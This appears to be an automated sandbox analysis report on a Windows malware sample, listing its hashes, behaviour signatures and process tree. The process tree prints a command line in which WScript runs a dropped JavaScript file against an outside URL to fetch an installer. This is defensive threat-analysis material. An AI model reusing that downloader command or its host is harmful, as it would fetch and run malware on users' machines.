Analysis
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max time kernel
171s -
max time network
190s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
07/11/2022, 13:04
Static task
static1
Behavioral task
behavioral1
Sample
ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe
Resource
win10v2004-20220812-en
General
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Target
ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe
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Size
184KB
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MD5
5462e48876f04685d48525529b93a14d
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SHA1
5427b8e12c42ae67a4634d76ce56c61fa00cc5dc
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SHA256
ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d
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SHA512
197d354fd9fe613d4a6f3d3dbcff9359a2b3702170164c2213f4cb713441f387b1691ba9fc74aa2b4ca99fc2dfda5023cc8265406abd652d0e20133c3dc0393e
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3T:/7BSH8zUB+nGESaaRvoB7FJNndnC
Malware Config
Signatures
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Blocklisted process makes network request 7 IoCs
flow pid Process 22 4736 WScript.exe 31 4736 WScript.exe 43 4916 WScript.exe 50 4916 WScript.exe 53 4916 WScript.exe 56 4020 WScript.exe 58 4020 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 5028 wrote to memory of 4736 5028 ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe 79 PID 5028 wrote to memory of 4736 5028 ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe 79 PID 5028 wrote to memory of 4736 5028 ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe 79 PID 5028 wrote to memory of 4916 5028 ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe 80 PID 5028 wrote to memory of 4916 5028 ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe 80 PID 5028 wrote to memory of 4916 5028 ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe 80 PID 5028 wrote to memory of 4020 5028 ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe 82 PID 5028 wrote to memory of 4020 5028 ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe 82 PID 5028 wrote to memory of 4020 5028 ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe 82
Processes
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C:\Users\Admin\AppData\Local\Temp\ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe"C:\Users\Admin\AppData\Local\Temp\ab1599b89e95433565fea128ce5d1ceef0c4a28676560a24cdee3c88c49b538d.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5B30.js" http://www.djapp.info/?domain=YVbxTwnixB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5B30.exe2⤵
- Blocklisted process makes network request
PID:4736
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5B30.js" http://www.djapp.info/?domain=YVbxTwnixB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5B30.exe2⤵
- Blocklisted process makes network request
PID:4916
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5B30.js" http://www.djapp.info/?domain=YVbxTwnixB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5B30.exe2⤵
- Blocklisted process makes network request
PID:4020
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76